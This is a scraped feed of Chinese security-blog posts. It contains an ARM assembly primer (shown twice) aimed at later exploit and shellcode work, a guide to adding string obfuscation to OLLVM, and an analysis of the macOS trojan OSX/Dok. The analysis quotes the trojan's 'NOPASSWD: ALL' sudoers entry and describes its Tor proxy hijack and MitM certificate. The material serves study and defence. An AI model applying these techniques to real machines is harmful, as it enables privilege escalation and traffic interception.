【技术分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

译者:arnow117

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


写在前面

欢迎来到ARM汇编基础教程,这套教程是为了让你可以在ARM架构下进行漏洞利用打基础的。在我们能开始写ARM的shellcode以及构建ROP链之前,我们需要先学习相关的ARM汇编基础知识。

这些基础知识包括:

Part 1:ARM汇编介绍

Part 2:数据类型寄存器

Part 3: ARM指令集

Part 4: 内存相关指令:加载以及存储

Part 5:重复性加载及存储

Part 6: 分支和条件执行

Part 7:栈以及函数

为了能跟着这个系列教程动手实践,你可以准备一个ARM的运行环境。如果你没有ARM设备(比如说树莓派或者手机),你可以通过QEMU来创建一个,[教程在这](https://azeria-labs.com/emulate-raspberry-pi-with-qemu/)。如果你对于GDB调试的基础命令不熟悉的话,可以通过[这个](https://azeria-labs.com/debugging-with-gdb-introduction/)学习。在这篇教程中,我们的核心关注点为32位的ARM,相关的例子在ARMv6下编译。

为什么是ARM?

前面说过,本系列教程的核心目的,是为那些想学习在ARM架构下进行漏洞利用的人而准备。可以看看你身边,有多少设备是ARM架构的, 手机,路由器,以及IOT设备,很多都是ARM架构的。无疑ARM架构已经成为了全世界主流而广泛的CPU架构。所以我们面对的越来越多的安全问题,也都会是ARM架构下的,那么在这种架构下的开发以及漏洞利用,也会成为一种主流趋势。

我们在X86架构上进行了很多研究,而ARM可能是最简单的广泛使用的汇编语言。但是人们为什么不关注ARM呢?可能是在intel架构上可供漏洞利用的学习资料比ARM多得多吧。比如[Corelan Team](https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/)写的很棒的intel X86漏洞利用教程,旨在帮助我们可以更准确更高效的学习到关键的漏洞利用基础知识。如果你对于x86漏洞利用很感兴趣,那我觉得Corelan Team的教程是一个不错的选择。但是在我们这个系列里,我们要创造一本高效的ARM架构下的漏洞利用新手手册。

ARM VS. INTEL

ARM处理器Intel处理器有很多不同,但是最主要的不同怕是指令集了。Intel属于复杂指令集(CISC)处理器,有很多特性丰富的访问内存的复杂指令集。因此它拥有更多指令代码以及取址都是,但是寄存器比ARM的要少。复杂指令集处理器主要被应用在PC机,工作站以及服务器上。

ARM属于简单指令集(RISC)处理器,所以与复杂指令集先比,只有简单的差不多100条指令集,但会有更多的寄存器。与Intel不同,ARM的指令集仅仅操作寄存器或者是用于从内存的加载/储存过程,这也就是说,简单的加载/存储指令即可访问到内存。这意味着在ARM中,要对特定地址中存储的的32位值加一的话,仅仅需要从内存中加载到寄存器,加一,再从寄存器储存到内存即可。

简单的指令集既有好处也有坏处。一个好处就是代码的执行变得更快了。(RISC指令集允许通过缩短时钟周期来加速代码执行)。坏处就是更少的指令集也要求了编写代码时要更加注意指令间使用的关系以及约束。还有重要的一点,ARM架构有两种模式,ARM模式和Thumb模式。Thumb模式的代码只有2或者4字节。

ARM与X86的不同还体现在:

ARM中很多指令都可以用来做为条件执行的判断依据

X86与X64机器码使用小端格式

ARM机器码在版本3之前是小端。但是之后默认采用大端格式,但可以设置切换到小端。

除了以上这些ARM与Intel间的差异,ARM自身也有很多版本。本系列教程旨在尽力保持通用性的情况下来讲讲ARM的工作流程。而且当你懂得了这个形式,学习其他版本的也很容易了。在系列教程中使用的样例都是在32位的ARMv6下运行的,所以相关解释也是主要依赖这个版本的。

不同版本的ARM命名也是有些复杂:


【技术分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

写ARM汇编

在开始用ARM汇编做漏洞利用开发之前,还是需要先学习下基础的汇编语言知识的。为什么我们需要ARM汇编呢,用正常的变成语言写不够么?的确不够,因为如果我们想做逆向工程,或者理解相关二进制程序的执行流程,构建我们自己的ARM架构的shellcode,ROP链,以及调试ARM应用,这些都要求先懂得ARM汇编。当然你也不需要学习的太过深入,足够做逆向工作以及漏洞利用开发刚刚好。如果有些知识要求先了解一些背景知识,别担心,这些知识也会在本系列文章里面介绍到的。当然如果你想学习更多,也可以去本文末尾提供的相关链接学习。

ARM汇编,是一种更容易被人们接受的汇编语言。当然我们的计算机也不能直接运行汇编代码,还是需要编译成机器码的。通过编译工具链中```as```程序来将文件后缀为".s"的汇编代码编译成机器码。写完汇编代码后,一般保存后缀为".s"的文件,然后你需要用```as```编译以及用```ld```链接程序:

$asprogram.s-oprogram.o $ldprogram.o-oprogram
【技术分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

汇编语言本质

让我们来看看汇编语言的底层本质。在最底层,只有电路的电信号。信号被格式化成可以变化的高低电平0V(off)或者5V(on)。但是通过电压变化来表述电路状态是繁琐的,所以用0和1来代替高低电平,也就有了二进制格式。由二进制序列组成的组合便是最小的计算机处理器工作单元了,比如下面的这句机器码序列就是例子。

11100001101000000010000000000001

看上去不错,但是我们还是不能记住这些组合的含义。所以,我们需要用助记符和缩写来帮助我们记住这些二进制组合。这些助记符一般是连续的三个字母,我们可以用这些助记符作为指令来编写程序。这种程序就叫做汇编语言程序。用以代表一种计算机的机器码的助记符集合就叫做这种计算机汇编语言。因此,汇编语言是人们用来编写程序的最底层语言。同时指令的操作符也有对应的助记符,比如:

MOVR2,R1 现在我们知道了汇编程序是助记符的文本信息集合,我们需要将其转换成机器码。就像之前的,在[GNU Binutils](https://www.gnu.org/software/binutils/)工程中提供了叫做```as```的工具。使用汇编工具去将汇编语言转换成机器码的过程叫做汇编(assembling)。

总结一下,在这篇中我们学习了计算机是通过由0101代表高低电平的机器码序列来进行运算的。我们可以使用机器码去让计算机做我们想让它做的事情。不过因为我们不能记住机器码,我们使用了缩写助记符来代表有相关功能的机器码,这些助记符的集合就是汇编语言。最后我们使用汇编器将汇编语言转换成机器可以理解的机器码。当然,在更高级别的语言编译生成机器码过程中,核心原理也是这个。


拓展阅读

1. [Whirlwind Tour of ARM Assembly.](https://www.coranac.com/tonc/text/asm.htm) 2. [ARM assembler in Raspberry Pi.](http://thinkingeek.com/arm-assembler-raspberry-pi/)

3. Practical Reverse Engineering: x86, x64, ARM, windows Kernel, Reversing Tools, and Obfuscation by Bruce Dang, Alexandre Gazet, Elias Bachaalany and Sebastien Josse.

4. [ARM Reference Manual.](http://infocenter.arm.com/help/topic/com.arm.doc.dui0068b/index.html) 5. [Assembler User Guide.](http://www.keil.com/support/man/docs/armasm/default.htm)


【技术分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍
【技术分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://azeria-labs.com/writing-arm-assembly-part-1/

【技术分享】为OLLVM添加字符串混淆功能

$
0
0
【技术分享】为OLLVM添加字符串混淆功能

2017-07-06 14:04:24

阅读:318次
点赞(0)
收藏
来源: 安全客





【技术分享】为OLLVM添加字符串混淆功能

作者:YSRC





【技术分享】为OLLVM添加字符串混淆功能
本文简单介绍了下使用上海交大GoSSIP小组开源的“孤挺花”混淆框架来给OLLVM加上字符串混淆的功能。

0x01 OLLVM 4.0

OLLVM(Obfuscator-LLVM)是瑞士西北应用科技大学安全实验室于2010年6月份发起的一个针对LLVM代码混淆项目,主要作用是增加逆向难度,从而一定程度上保护代码的安全。因为后期转向了商业项目strong.protect,所以项目的进度一度停滞,而在17年3月,LLVM已经更新到了4.0版本,新版本的一些特性导致老版本的OLLVM存在一定的局限性。

【技术分享】为OLLVM添加字符串混淆功能
几天前,上海交大密码与计算机安全实验室GoSSIP小组开源了他们设计的基于LLVM 4.0的孤挺花混淆框架,功能包含字符串加密,控制流扁平化和指令替换。出于稳定性考虑,目前开源的代码仅包括对编译源代码中的常量字符串加密一项基本功能(相关简介)。给上海交大的同学点赞 : )
YSRC简单的做了下分析,发现该功能主要是实现了一个用于字符串加密的pass,具体什么是pass,可以参考如下文章(①,②),本文主要介绍将孤挺花的字符串加密pass集成到OLLVM 4.0中。(官方分支暂时还未支持Constants encryption)

0x02 pass集成

字符串加密的pass位于如下目录

【技术分享】为OLLVM添加字符串混淆功能

提取出该文件,放到OLLVM相同目录下,并将头文件也复制到对应目录下

在Obfuscation下的cmakelists.txt将StringObfuscation.cpp添加到编译库中,最后只需要在Transforms/IPO下的PassManagerBuilder.cpp将字符串加密的编译选项添加进去即可

1. 添加#include “llvm/Transforms/Obfuscation/StringObfuscation.h”引用

2. 在合适的地方插入以下两条函数声明,即编译时的编译参数-mllvm -sobf:

3. 在PassManagerBuilder::PassManagerBuilder()构造函数中添加随机数因子的初始化

staticcl::opt<std::string>Seed("seed",cl::init(""),cl::desc("seedfortherandom"));staticcl::opt<bool>StringObf("sobf",cl::init(false),cl::desc("Enablethestringobfuscation")); 4. 最后将该pass添加进void PassManagerBuilder::populateModulePassManager中即可

0x03 windows下编译OLLVM

这里编译环境选择的是windows,其它平台类似

编译器:

MinGW64 for Windows

Cmake 3.9 rc5 for Windows x64

这里注意下套件都是选择的64位版本的,并且要注意最好清除下系统变量中之前配置的变量。

官方编译命令:

git clone -b llvm-4.0https://github.com/obfuscator-llvm/obfuscator.git

mkdir build

cd build

cmake -DCMAKE_BUILD_TYPE=Release ../obfuscator/

make -j7

如果cmake如果不指定参数的话,会默认去选择当前电脑里已有的编译器,如果安装了vs的话,会自动去查找vs的编译器

如果打算使用vs编译

cmake -DCMAKE_BUILD_TYPE=Release ../obfuscator/

会生成32位的依赖版本

cmake -G “Visual Studio 15 2017 Win64” -DCMAKE_BUILD_TYPE=Release ../obfuscator/

上面这种方法就会生成64位版本的编译环境,不过在测试编译时,32位正常编译通过,64位踩了很多坑,所以还是不建议使用vs编译。

使用MinGw编译时,需要加上参数

cmake -G “MinGW Makefiles” -DCMAKE_BUILD_TYPE=Release ../obfuscator/

最后再执行make -j7 即可,数字可根据电脑配置进行选择,编译完成后,会在build/bin下看到编译完成的二进制文件。


0x04 NDK使用OLLVM

将编译好的clang.exe , clang++.exe 以及上级目录下 lib/clang下的文件夹拷贝出来,我这里使用的是ndk 13,直接将这些文件拷贝到toolchains\llvm\prebuilt\windows-x86_64,其中exe文件复制到bin目录下,lib文件夹直接复制到windows-x86_64目录下即可。

新建一个Android Studio工程测试下效果,开启字符串加密编译选项

编写测试函数

在函数前添加了fla属性,该属性代表ollvm的Control Flow Flattening ,具体可见ollvm项目的wiki,编译运行查看结果。

使用IDA打开编译后的so文件,可以看到函数中的字符串已经不显示了,

【技术分享】为OLLVM添加字符串混淆功能
而Test函数的流程也被进行了混淆。

【技术分享】为OLLVM添加字符串混淆功能

F5后:


【技术分享】为OLLVM添加字符串混淆功能

0x05 总结

在项目中合理的使用ollvm可以帮助增加逆向难度,并且针对关键的函数混淆对性能的影响也比较小。



【技术分享】为OLLVM添加字符串混淆功能
【技术分享】为OLLVM添加字符串混淆功能
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4069.html

【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

$
0
0
【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

2017-07-06 12:06:18

阅读:1369次
点赞(0)
收藏
来源: azeria-labs.com





【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

作者:arnow117





【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

译者:arnow117

预估稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


写在前面

欢迎来到ARM汇编基础教程,这套教程是为了让你可以在ARM架构下进行漏洞利用打基础的。在我们能开始写ARM的shellcode以及构建ROP链之前,我们需要先学习相关的ARM汇编基础知识。

这些基础知识包括:

Part 1:ARM汇编介绍

Part 2:数据类型寄存器

Part 3: ARM指令集

Part 4: 内存相关指令:加载以及存储

Part 5:重复性加载及存储

Part 6: 分支和条件执行

Part 7:栈以及函数

为了能跟着这个系列教程动手实践,你可以准备一个ARM的运行环境。如果你没有ARM设备(比如说树莓派或者手机),你可以通过QEMU来创建一个,[教程在这]。如果你对于GDB调试的基础命令不熟悉的话,可以通过[这个]学习。在这篇教程中,我们的核心关注点为32位的ARM,相关的例子在ARMv6下编译。

为什么是ARM?

前面说过,本系列教程的核心目的,是为那些想学习在ARM架构下进行漏洞利用的人而准备。可以看看你身边,有多少设备是ARM架构的, 手机,路由器,以及IOT设备,很多都是ARM架构的。无疑ARM架构已经成为了全世界主流而广泛的CPU架构。所以我们面对的越来越多的安全问题,也都会是ARM架构下的,那么在这种架构下的开发以及漏洞利用,也会成为一种主流趋势。

我们在X86架构上进行了很多研究,而ARM可能是最简单的广泛使用的汇编语言。但是人们为什么不关注ARM呢?可能是在intel架构上可供漏洞利用的学习资料比ARM多得多吧。比如[Corelan Team]写的很棒的intel X86漏洞利用教程,旨在帮助我们可以更准确更高效的学习到关键的漏洞利用基础知识。如果你对于x86漏洞利用很感兴趣,那我觉得Corelan Team的教程是一个不错的选择。但是在我们这个系列里,我们要创造一本高效的ARM架构下的漏洞利用新手手册。

ARM VS. INTEL

ARM处理器Intel处理器有很多不同,但是最主要的不同怕是指令集了。Intel属于复杂指令集(CISC)处理器,有很多特性丰富的访问内存的复杂指令集。因此它拥有更多指令代码以及取址都是,但是寄存器比ARM的要少。复杂指令集处理器主要被应用在PC机,工作站以及服务器上。

ARM属于简单指令集(RISC)处理器,所以与复杂指令集先比,只有简单的差不多100条指令集,但会有更多的寄存器。与Intel不同,ARM的指令集仅仅操作寄存器或者是用于从内存的加载/储存过程,这也就是说,简单的加载/存储指令即可访问到内存。这意味着在ARM中,要对特定地址中存储的的32位值加一的话,仅仅需要从内存中加载到寄存器,加一,再从寄存器储存到内存即可。

简单的指令集既有好处也有坏处。一个好处就是代码的执行变得更快了。(RISC指令集允许通过缩短时钟周期来加速代码执行)。坏处就是更少的指令集也要求了编写代码时要更加注意指令间使用的关系以及约束。还有重要的一点,ARM架构有两种模式,ARM模式和Thumb模式。Thumb模式的代码只有2或者4字节。

ARM与X86的不同还体现在:

ARM中很多指令都可以用来做为条件执行的判断依据

X86与X64机器码使用小端格式

ARM机器码在版本3之前是小端。但是之后默认采用大端格式,但可以设置切换到小端。

除了以上这些ARM与Intel间的差异,ARM自身也有很多版本。本系列教程旨在尽力保持通用性的情况下来讲讲ARM的工作流程。而且当你懂得了这个形式,学习其他版本的也很容易了。在系列教程中使用的样例都是在32位的ARMv6下运行的,所以相关解释也是主要依赖这个版本的。

不同版本的ARM命名也是有些复杂:


【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

写ARM汇编

在开始用ARM汇编做漏洞利用开发之前,还是需要先学习下基础的汇编语言知识的。为什么我们需要ARM汇编呢,用正常的变成语言写不够么?的确不够,因为如果我们想做逆向工程,或者理解相关二进制程序的执行流程,构建我们自己的ARM架构的shellcode,ROP链,以及调试ARM应用,这些都要求先懂得ARM汇编。当然你也不需要学习的太过深入,足够做逆向工作以及漏洞利用开发刚刚好。如果有些知识要求先了解一些背景知识,别担心,这些知识也会在本系列文章里面介绍到的。当然如果你想学习更多,也可以去本文末尾提供的相关链接学习。

ARM汇编,是一种更容易被人们接受的汇编语言。当然我们的计算机也不能直接运行汇编代码,还是需要编译成机器码的。通过编译工具链中as程序来将文件后缀为".s"的汇编代码编译成机器码。写完汇编代码后,一般保存后缀为".s"的文件,然后你需要用as编译以及用ld链接程序:

$asprogram.s-oprogram.o $ldprogram.o-oprogram
【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍

汇编语言本质

让我们来看看汇编语言的底层本质。在最底层,只有电路的电信号。信号被格式化成可以变化的高低电平0V(off)或者5V(on)。但是通过电压变化来表述电路状态是繁琐的,所以用0和1来代替高低电平,也就有了二进制格式。由二进制序列组成的组合便是最小的计算机处理器工作单元了,比如下面的这句机器码序列就是例子。

11100001101000000010000000000001

看上去不错,但是我们还是不能记住这些组合的含义。所以,我们需要用助记符和缩写来帮助我们记住这些二进制组合。这些助记符一般是连续的三个字母,我们可以用这些助记符作为指令来编写程序。这种程序就叫做汇编语言程序。用以代表一种计算机的机器码的助记符集合就叫做这种计算机汇编语言。因此,汇编语言是人们用来编写程序的最底层语言。同时指令的操作符也有对应的助记符,比如:

MOVR2,R1 现在我们知道了汇编程序是助记符的文本信息集合,我们需要将其转换成机器码。就像之前的,在[GNU Binutils]工程中提供了叫做as的工具。使用汇编工具去将汇编语言转换成机器码的过程叫做汇编(assembling)。

总结一下,在这篇中我们学习了计算机是通过由0101代表高低电平的机器码序列来进行运算的。我们可以使用机器码去让计算机做我们想让它做的事情。不过因为我们不能记住机器码,我们使用了缩写助记符来代表有相关功能的机器码,这些助记符的集合就是汇编语言。最后我们使用汇编器将汇编语言转换成机器可以理解的机器码。当然,在更高级别的语言编译生成机器码过程中,核心原理也是这个。


拓展阅读

1. [Whirlwind Tour of ARM Assembly.](https://www.coranac.com/tonc/text/asm.htm) 2. [ARM assembler in Raspberry Pi.](http://thinkingeek.com/arm-assembler-raspberry-pi/)

3. Practical Reverse Engineering: x86, x64, ARM, windows Kernel, Reversing Tools, and Obfuscation by Bruce Dang, Alexandre Gazet, Elias Bachaalany and Sebastien Josse.

4. [ARM Reference Manual.](http://infocenter.arm.com/help/topic/com.arm.doc.dui0068b/index.html) 5. [Assembler User Guide.](http://www.keil.com/support/man/docs/armasm/default.htm)


【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍
【系列分享】ARM 汇编基础速成1:ARM汇编以及汇编语言基础介绍
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://azeria-labs.com/writing-arm-assembly-part-1/

【技术分享】了解macOS上的恶意木马--OSX/Dok

$
0
0
【技术分享】了解macOS上的恶意木马--OSX/Dok

2017-07-06 15:56:42

阅读:557次
点赞(0)
收藏
来源: 安全客





【技术分享】了解macOS上的恶意木马--OSX/Dok

作者:360NirvanTeam





【技术分享】了解macOS上的恶意木马--OSX/Dok

近期,由CheckPoint发现了一款针对macOS的恶意木马--OSX/Dok,该恶意木马主要通过诱使受害者下载后强制性要求“系统升级”,从而骗取你的管理员口令,再通过一些手段监控受害者的http/https流量,窃取到有价值的数据。

0x0 感染方式

该木马主要活跃于欧洲,打着税务局账单的旗号发送钓鱼邮件,诱使中招者下载一个名为“Dokument”的软件,这个软件还伪造成了“预览”的样子,但是当你打开它后,会显示一个提示框提示文件可能损坏不能打开,但是你以为这就完了??恰好相反,当你点击“OK”的时候,恰好中招~


【技术分享】了解macOS上的恶意木马--OSX/Dok

【技术分享】了解macOS上的恶意木马--OSX/Dok

0x1 OSX/Dok

OSX/Dok的主要功能比较明确:

1. 强制性“更新”,要求输入管理员密码

2. 下载berw,tor,socket等工具

3. 使用下载的这些工具,重定向中招者的http/https流量进行监控

0x2 详细分析

我们先本地看看目标binary的一些签名信息


【技术分享】了解macOS上的恶意木马--OSX/Dok

看得出来这签名还是有些正规的~~~不过Apple已经把这个给撤销了 在运行程序之前,恶意程序会被复制到`/Users/Share`中


【技术分享】了解macOS上的恶意木马--OSX/Dok

当这个恶意程序运行时,会弹出警告框,点击OK之后,等到5s之后就会开始运行,并删除应用程序,然后会出现一个覆盖全屏幕的窗口,提示要更新系统


【技术分享】了解macOS上的恶意木马--OSX/Dok

【技术分享】了解macOS上的恶意木马--OSX/Dok

然后弹出一个弹框要求输入密码,等等,你没看错,它的binary名称就叫做“AppStore”,而正常的应该是“App Store”


【技术分享】了解macOS上的恶意木马--OSX/Dok

【技术分享】了解macOS上的恶意木马--OSX/Dok

而恶意程序还把自己添加在了`系统偏好设置->用户与群组->登录项`中,以便于当没安装完成就关机,重启后继续安装


【技术分享】了解macOS上的恶意木马--OSX/Dok

但是等程序安装完成后,登录项中的“AppStore”就会被删掉


【技术分享】了解macOS上的恶意木马--OSX/Dok

【技术分享】了解macOS上的恶意木马--OSX/Dok

在“更新”的过程中,会弹出几次要求你输入管理员密码,猜想应该是在安装一些命令行工具或者进行一些系统操作时需要管理员身份,但之后为什么不需要了呢?


【技术分享】了解macOS上的恶意木马--OSX/Dok

我们在`/etc/sudoers`文件中可以看到最底下多了一条`ALL=(ALL) NOPASSWD: ALL`命令,这条命令主要作用就是在之后的操作中免输入密码


【技术分享】了解macOS上的恶意木马--OSX/Dok

我们来看看,这些就是攻击者通过brew下载的一些工具


【技术分享】了解macOS上的恶意木马--OSX/Dok

【技术分享】了解macOS上的恶意木马--OSX/Dok

然后恶意程序会偷偷更改用户的的网络配置


【技术分享】了解macOS上的恶意木马--OSX/Dok

其中的`paoyu7gub72lykuk.onion`一看就是暗网的网址,tor就是暗网搜索引擎

以上命令大概说的就是通过TCP ipv4协议,本地监听5555端口,来自这个端口的请求通过本地的9050端口转到目标`paoyu7gub72lykuk.onion`的80端口(第二个同样的说法)

打开`系统设置->网络->高级`,可以看到自动代理已经被偷偷改了


【技术分享】了解macOS上的恶意木马--OSX/Dok

攻击者还在用户的Mac中安装了一个证书,用于对用户进行MiTM,拦截用户流量


【技术分享】了解macOS上的恶意木马--OSX/Dok
【技术分享】了解macOS上的恶意木马--OSX/Dok

0x3 总结

据统计,恶意木马占所有恶意软件的75%,他们大多数都很隐蔽,有时甚至几个月都一声不吭,这次这个也算比较特殊,其实明眼人看到这个更新基本上就知道出问题了,但是不排除有很多对Mac不熟悉的人,他们以为是正常的更新,然后勒索软件运行完之后又会被删除,不容易发现,所以就会中招。 防患于未然,平时收到陌生邮件的时候,如果有附件或者链接,最好不要打开,把这种事情扼杀在摇篮中最好不过了,也免去了不少不必要的麻烦。

0x4 参考

http://blog.checkpoint.com/2017/04/27/osx-malware-catching-wants-read-https-traffic/





【技术分享】了解macOS上的恶意木马--OSX/Dok
【技术分享】了解macOS上的恶意木马--OSX/Dok
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4071.html
Viewing all 12749 articles
Browse latest View live